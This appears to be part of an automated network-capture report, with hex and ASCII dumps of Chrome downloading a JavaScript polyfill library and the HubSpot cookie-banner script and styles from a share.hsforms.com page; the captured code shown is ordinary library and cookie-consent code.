2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 53 3d 7b 66 3a 68 3f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 76 28 72 29 3b 69 66 28 79 29 74 72 79 7b 72 65 74 75 72 6e 20 77 28 74 2c 65 2c 72 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 72 7c 7c 22 73 65 74 22 69 6e 20 72 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 63 63 65 73 73 6f 72 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3b 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 74 5b 65 5d 3d 72 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 28 31 26 74 29 2c 63 6f 6e 66 69 67 75 72 61 62 Data Ascii: ct.defineProperty,S={f:h?w:function(t,e,r){v(t);e=d(e,!0);v(r);if(y)try{return w(t,e,r)}catch(t){}if("get"in r\|\|"set"in r)throw TypeError("Accessors not supported");"value"in r&&(t[e]=r.value);return t}},E=function(t,e){return{enumerable:!(1&t),configurab
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 3b 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 7b 7d 29 5b 24 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 66 6f 6f 3a 31 7d 7d 3b 72 65 74 75 72 6e 20 31 21 3d 3d 65 5b 74 5d 28 42 6f 6f 6c 65 61 6e 29 2e 66 6f 6f 7d 29 29 7d 2c 56 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 7a 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 51 3d 7b 66 3a 7a 26 26 21 56 2e 63 61 6c 6c 28 7b 31 3a 32 7d 2c 31 29 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7a 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 21 21 65 26 26 65 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 3a 56 7d 2c 48 3d 22 22 2e 73 70 6c 69 74 2c 47 3d 66 28 28 66 75 6e 63 Data Ascii: n(){var e=[];(e.constructor={})[$]=function(){return{foo:1}};return 1!==e[t](Boolean).foo}))},V={}.propertyIsEnumerable,z=Object.getOwnPropertyDescriptor,Q={f:z&&!V.call({1:2},1)?function(t){var e=z(this,t);return!!e&&e.enumerable}:V},H="".split,G=f((func
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 66 6f 72 63 65 2c 68 74 2e 67 65 74 74 65 72 46 6f 72 2c 4f 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 68 74 2e 67 65 74 2c 72 3d 68 74 2e 65 6e 66 6f 72 63 65 2c 6e 3d 53 74 72 69 6e 67 28 5a 29 2e 73 70 6c 69 74 28 22 74 6f 53 74 72 69 6e 67 22 29 3b 4e 28 22 69 6e 73 70 65 63 74 53 6f 75 72 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 5a 2e 63 61 6c 6c 28 74 29 7d 29 29 3b 28 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6f 29 7b 76 61 72 20 73 3d 21 21 6f 26 26 21 21 6f 2e 75 6e 73 61 66 65 2c 61 3d 21 21 6f 26 26 21 21 6f 2e 65 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 21 21 6f 26 26 21 21 6f 2e 6e 6f 54 61 72 67 65 74 47 65 74 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: force,ht.getterFor,O((function(t){var e=ht.get,r=ht.enforce,n=String(Z).split("toString");N("inspectSource",(function(t){return Z.call(t)}));(t.exports=function(t,e,i,o){var s=!!o&&!!o.unsafe,a=!!o&&!!o.enumerable,u=!!o&&!!o.noTargetGet;if("function"==typ
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 68 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 5d 3b 4a 28 74 2c 73 29 7c 7c 6e 28 74 2c 73 2c 69 28 65 2c 73 29 29 7d 7d 2c 78 74 3d 2f 23 7c 5c 2e 70 72 6f 74 6f 74 79 70 65 5c 2e 2f 2c 43 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 4c 74 5b 6a 74 28 74 29 5d 3b 72 65 74 75 72 6e 20 72 3d 3d 49 74 7c 7c 72 21 3d 4e 74 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 66 28 65 29 3a 21 21 65 29 7d 2c 6a 74 3d 43 74 2e 6e 6f 72 6d 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 2e 72 65 70 6c 61 63 65 28 78 74 2c 22 2e 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 4c 74 3d 43 74 2e 64 61 74 61 3d 7b 7d 2c 4e 74 3d 43 74 2e 4e 41 54 49 56 45 3d 22 4e Data Ascii: h;o++){var s=r[o];J(t,s)\|\|n(t,s,i(e,s))}},xt=/#\|\.prototype\./,Ct=function(t,e){var r=Lt[jt(t)];return r==It\|\|r!=Nt&&("function"==typeof e?f(e):!!e)},jt=Ct.normalize=function(t){return String(t).replace(xt,".").toLowerCase()},Lt=Ct.data={},Nt=Ct.NATIVE="N
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 62 6a 65 63 74 28 74 29 2c 71 74 29 29 3f 6e 3a 56 74 3f 65 28 72 29 3a 22 4f 62 6a 65 63 74 22 3d 3d 28 69 3d 65 28 72 29 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 2e 63 61 6c 6c 65 65 3f 22 41 72 67 75 6d 65 6e 74 73 22 3a 69 7d 2c 48 74 3d 7b 7d 3b 48 74 5b 42 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 5d 3d 22 7a 22 3b 76 61 72 20 47 74 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 21 3d 3d 53 74 72 69 6e 67 28 48 74 29 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 22 2b 51 74 28 74 68 69 73 29 2b 22 5d 22 7d 3a 48 74 2e 74 6f 53 74 72 69 6e 67 2c 57 74 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 3b 47 74 21 3d 3d 57 74 2e 74 6f 53 74 72 69 6e 67 26 26 70 74 28 57 74 2c 22 74 6f 53 74 72 Data Ascii: bject(t),qt))?n:Vt?e(r):"Object"==(i=e(r))&&"function"==typeof r.callee?"Arguments":i},Ht={};Ht[B("toStringTag")]="z";var Gt="[object z]"!==String(Ht)?function(){return"[object "+Qt(this)+"]"}:Ht.toString,Wt=Object.prototype;Gt!==Wt.toString&&pt(Wt,"toStr
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 74 79 4e 61 6d 65 73 3f 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 77 69 6e 64 6f 77 29 3a 5b 5d 2c 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 66 65 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 70 65 2e 73 6c 69 63 65 28 29 7d 7d 2c 62 65 3d 7b 66 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 70 65 26 26 22 5b 6f 62 6a 65 63 74 20 57 69 6e 64 6f 77 5d 22 3d 3d 68 65 2e 63 61 6c 6c 28 74 29 3f 6d 65 28 74 29 3a 66 65 28 57 28 74 29 29 7d 7d 2c 67 65 3d 6e 74 28 22 68 69 64 64 65 6e 22 29 2c 79 65 3d 22 53 79 6d 62 6f 6c 22 2c 76 65 3d 68 74 2e 73 65 74 2c 77 65 3d 68 74 2e 67 65 74 74 65 72 46 6f 72 28 79 65 29 2c 53 65 3d 58 2e 66 2c 45 65 3d 53 2e 66 2c Data Ascii: tyNames?Object.getOwnPropertyNames(window):[],me=function(t){try{return fe(t)}catch(t){return pe.slice()}},be={f:function(t){return pe&&"[object Window]"==he.call(t)?me(t):fe(W(t))}},ge=nt("hidden"),ye="Symbol",ve=ht.set,we=ht.getterFor(ye),Se=X.f,Ee=S.f,
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 2c 74 29 7c 7c 4a 28 74 68 69 73 2c 67 65 29 26 26 74 68 69 73 5b 67 65 5d 5b 74 5d 29 7c 7c 65 29 7d 2c 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3d 57 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 69 66 28 74 21 3d 3d 50 65 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 49 65 2c 65 29 29 7b 76 61 72 20 72 3d 53 65 28 74 2c 65 29 3b 21 72 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 74 2c 67 65 29 26 26 74 5b 67 65 5d 5b 65 5d 7c 7c 28 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 21 30 29 3b 72 65 74 75 72 6e 20 72 7d 7d 2c 51 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 54 65 28 57 28 74 29 29 2c 6e 3d 5b 5d 2c 69 3d 30 3b 72 2e 6c 65 6e 67 74 68 3e 69 3b 29 4a 28 4e 65 2c 65 3d 72 5b 69 2b 2b 5d 29 7c 7c 4a 28 69 74 2c 65 29 Data Ascii: ,t)\|\|J(this,ge)&&this[ge][t])\|\|e)},ze=function(t,e){t=W(t);e=d(e,!0);if(t!==Pe\|\|!J(Ne,e)\|\|J(Ie,e)){var r=Se(t,e);!r\|\|!J(Ne,e)\|\|J(t,ge)&&t[ge][e]\|\|(r.enumerable=!0);return r}},Qe=function(t){for(var e,r=Te(W(t)),n=[],i=0;r.length>i;)J(Ne,e=r[i++])\|\|J(it,e)
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 30 2c 66 6f 72 63 65 64 3a 21 6b 2c 73 68 61 6d 3a 21 68 7d 2c 7b 63 72 65 61 74 65 3a 71 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 44 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 24 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 7a 65 7d 29 3b 6b 74 28 7b 74 61 72 67 65 74 3a 22 4f 62 6a 65 63 74 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7d 2c 7b 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3a 51 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3a 48 65 7d 29 3b 41 65 26 26 6b 74 28 7b 74 61 72 67 65 74 3a 22 4a 53 4f 4e 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7c 7c 66 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 65 28 29 Data Ascii: 0,forced:!k,sham:!h},{create:qe,defineProperty:De,defineProperties:$e,getOwnPropertyDescriptor:ze});kt({target:"Object",stat:!0,forced:!k},{getOwnPropertyNames:Qe,getOwnPropertySymbols:He});Ae&&kt({target:"JSON",stat:!0,forced:!k\|\|f((function(){var t=Oe()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49859	104.18.40.240	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:34 UTC	538	OUT	GET /v2/48528028/banner.js HTTP/1.1 Host: js.hs-banner.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	1334	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-amz-id-2: D2JvmC9IQ66MNCSvjxMN6ySu1AFB5EUHoBFIq4DM0AEoJUxv6dtek32Jyk75wrZI/71T0wdkUOM= x-amz-request-id: XJHC5TPT6ETW214D last-modified: Mon, 06 Jan 2025 09:21:00 GMT etag: W/"b4baf08732a6bf9bf95a9d42b26dce28" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: qHavFL1N.XFmWquI3LRGELf2g7I3vSLq access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept, Accept-Charset, Accept-Encoding, X-Override-Internal-Permissions, X-Properties-Source, X-Properties-SourceId, X-Properties-Flag, X-Hubspot-User-Id, X-Hubspot-Trace, X-Hubspot-Callee, X-Hubspot-Offset, X-Hubspot-No-Trace, X-HubSpot-Static-App-Info, X-HubSpot-Messages-Uri, X-HubSpot-Request-Source, X-HubSpot-Request-Reason, Subscription-Billing-Auth-Token, X-App-CSRF, X-Tools-CSRF, Online-Payment-Signing-UUID, X-Source, X-SourceId, X-Origin-UserId, X-Biden-Request-Source, X-HubSpot-CSRF-hubspotapi, X-Force-Cookie-Refresh, X-Force-Cookie-Refresh-No-Cache, X-HS-User-Request, X-Application-Id, X-HS-Referer, X-HubSpot-Correlation-Id
2025-01-10 11:04:34 UTC	1033	IN	Data Raw: 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 2d 68 65 61 64 65 72 73 3a 20 78 2d 6c 61 73 74 2d 6d 6f 64 69 66 69 65 64 2d 74 69 6d 65 73 74 61 6d 70 2c 20 58 2d 48 75 62 53 70 6f 74 2d 4e 6f 74 46 6f 75 6e 64 2c 20 58 2d 48 53 2d 55 73 65 72 2d 52 65 71 75 65 73 74 2c 20 4c 69 6e 6b 2c 20 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 6d 61 78 2d 61 67 65 3a 20 36 30 34 38 30 30 0d 0a 74 69 6d 69 6e 67 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 76 61 72 79 3a 20 6f 72 69 67 69 6e 0d 0a 65 78 70 69 72 65 73 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 31 Data Ascii: access-control-expose-headers: x-last-modified-timestamp, X-HubSpot-NotFound, X-HS-User-Request, Link, Server-Timingaccess-control-allow-credentials: trueaccess-control-max-age: 604800timing-allow-origin: *vary: originexpires: Fri, 10 Jan 2025 1
2025-01-10 11:04:34 UTC	371	IN	Data Raw: 37 36 36 31 0d 0a 76 61 72 20 5f 68 73 70 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 42 61 6e 6e 65 72 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 43 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 2d 73 69 74 65 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b Data Ascii: 7661var _hsp = window['_hsp'] = window['_hsp'] \|\| [];_hsp.push(['setBannerSettings', {}]);_hsp.push(['setCustomizationSettings', {}]);_hsp.push(['addCookieDomain', '.hsforms.com']);_hsp.push(['addCookieDomain', '.hs-sites.com']);_hsp.push(['addCook
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 2c 20 27 2e 66 6a 6f 72 64 79 61 63 68 74 73 2e 64 65 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 41 70 69 42 61 73 65 55 72 6c 27 2c 20 27 68 74 74 70 73 3a 2f 2f 6a 73 2e 68 73 2d 62 61 6e 6e 65 72 2e 63 6f 6d 2f 76 32 27 5d 29 3b 0a 2f 2a 2a 0a 20 2a 20 48 75 62 53 70 6f 74 20 43 6f 6f 6b 69 65 20 42 61 6e 6e 65 72 20 43 6f 64 65 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 35 20 48 75 62 53 70 6f 74 2c 20 49 6e 63 2e 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 5b 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 76 61 72 20 65 2c 74 3b 74 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 3b Data Ascii: , '.fjordyachts.de']);_hsp.push(['setApiBaseUrl', 'https://js.hs-banner.com/v2']);/** * HubSpot Cookie Banner Code Copyright 2025 HubSpot, Inc. http://www.hubspot.com */!function(){var e=[,function(e,t){var n;function o(){var e,t;t=arguments[0]\|\|{};
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 72 28 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 74 5b 6e 5d 3d 3d 65 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 76 61 72 20 65 2c 74 2c 6e 3d 5b 5d 2c 6f 3d 7b 7d 3b 66 6f 72 28 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 61 72 67 75 6d 65 6e 74 73 5b 65 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 65 5d 2e 6c 65 6e 67 74 68 29 66 6f 72 28 74 3d 30 3b 74 3c 61 72 67 75 6d 65 6e 74 73 5b 65 5d 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 69 66 28 21 6f 5b 61 72 67 75 6d 65 6e 74 73 5b 65 5d 5b 74 5d 5d 29 7b 6f 5b 61 72 67 75 6d 65 6e 74 73 5b 65 5d 5b 74 5d 5d 3d 21 30 3b 6e 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 5b 65 5d 5b 74 5d 29 7d 72 65 Data Ascii: r(n=0;n<t.length;n++)if(t[n]==e)return n;return-1}function s(){var e,t,n=[],o={};for(e=0;e<arguments.length;e++)if(arguments[e]&&arguments[e].length)for(t=0;t<arguments[e].length;t++)if(!o[arguments[e][t]]){o[arguments[e][t]]=!0;n.push(arguments[e][t])}re
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 65 6e 74 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 75 29 7d 7d 65 6c 73 65 20 69 66 28 2d 31 21 3d 6e 28 65 2c 74 68 69 73 2e 77 68 69 74 65 6c 69 73 74 5f 6e 6f 64 65 73 29 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e 74 3d 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 3b 66 6f 72 28 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 3e 30 3b 29 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e 74 2e 66 69 72 73 74 43 68 69 6c 64 29 3b 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 63 75 72 72 65 6e 74 5f 65 6c 65 6d 65 6e Data Ascii: ent_element.setAttributeNode(u)}}else if(-1!=n(e,this.whitelist_nodes)){this.current_element=e.cloneNode(!0);for(;this.current_element.childNodes.length>0;)this.current_element.removeChild(this.current_element.firstChild);i.appendChild(this.current_elemen
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 7b 65 2e 65 78 70 6f 72 74 73 3d 27 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 64 69 76 2c 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 70 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 2a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 65 6d 7d 23 68 73 2d Data Ascii: {e.exports='#hs-banner-parent div,#hs-banner-parent p{color:inherit}#hs-banner-parent *{font-size:inherit;font-family:inherit;background:none;border:none;box-shadow:none;box-sizing:border-box;margin:0;padding:0;display:inline-block;line-height:1.75em}#hs-
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 65 72 2d 67 70 63 2d 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 67 70 63 20 23 68 73 2d 62 61 6e 6e 65 72 2d 67 70 63 2d 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 20 73 76 67 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 66 6f 6e 74 2d 73 69 7a 65 2c 31 34 70 78 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 66 6f 6e 74 2d 73 69 7a 65 2c 31 34 70 78 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 74 65 78 74 2d 63 6f 6c 6f 72 2c 23 31 35 32 39 35 61 29 7d 23 68 73 2d 62 61 6e 6e 65 72 2d 70 61 72 65 6e 74 20 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 Data Ascii: er-gpc-close-button{cursor:pointer;display:block}#hs-banner-gpc #hs-banner-gpc-close-button svg{width:var(--hs-banner-font-size,14px);height:var(--hs-banner-font-size,14px);color:var(--hs-banner-text-color,#15295a)}#hs-banner-parent #hs-eu-cookie-confirma
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2d 69 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 67 61 70 3a 31 65 6d 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 70 61 64 64 69 6e 67 2c 32 2e 32 65 6d 29 7d 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 2d 69 6e 6e 65 72 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 32 70 78 20 72 67 62 61 28 30 2c 31 32 37 2c 32 35 35 2c 2e 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 32 70 78 20 Data Ascii: ation #hs-eu-cookie-confirmation-inner{display:flex;gap:1em;flex-direction:column;padding:var(--hs-banner-padding,2.2em)}#hs-eu-cookie-confirmation #hs-eu-cookie-confirmation-inner button:focus{box-shadow:0 0 0 2px rgba(0,127,255,.5);box-shadow:0 0 0 2px
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 72 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 61 63 63 65 70 74 2d 74 65 78 74 2d 63 6f 6c 6f 72 2c 23 66 66 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 61 63 63 65 70 74 2d 63 6f 6c 6f 72 2c 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 61 63 63 65 6e 74 43 6f 6c 6f 72 2c 23 34 32 35 62 37 36 29 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 61 63 63 65 70 74 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2c 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 61 63 63 65 6e 74 43 6f 6c 6f 72 2c 23 34 32 35 62 37 36 29 29 7d 23 68 73 2d 65 75 2d 63 6f 6f 6b 69 65 2d 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 23 68 73 2d 65 75 2d 64 65 63 6c 69 6e 65 2d 62 75 Data Ascii: r:var(--hs-banner-accept-text-color,#fff);background:var(--hs-banner-accept-color,var(--hs-banner-accentColor,#425b76));border:1px solid var(--hs-banner-accept-border-color,var(--hs-banner-accentColor,#425b76))}#hs-eu-cookie-confirmation #hs-eu-decline-bu
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 38 70 78 20 32 38 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 38 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 66 6f 6e 74 2d 73 69 7a 65 2c 31 34 70 78 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2c 22 4c 61 74 6f 22 29 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 65 6d 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 73 2d 62 61 6e 6e 65 72 2d 6d 6f 64 61 6c 2d 74 65 78 74 2d 63 6f 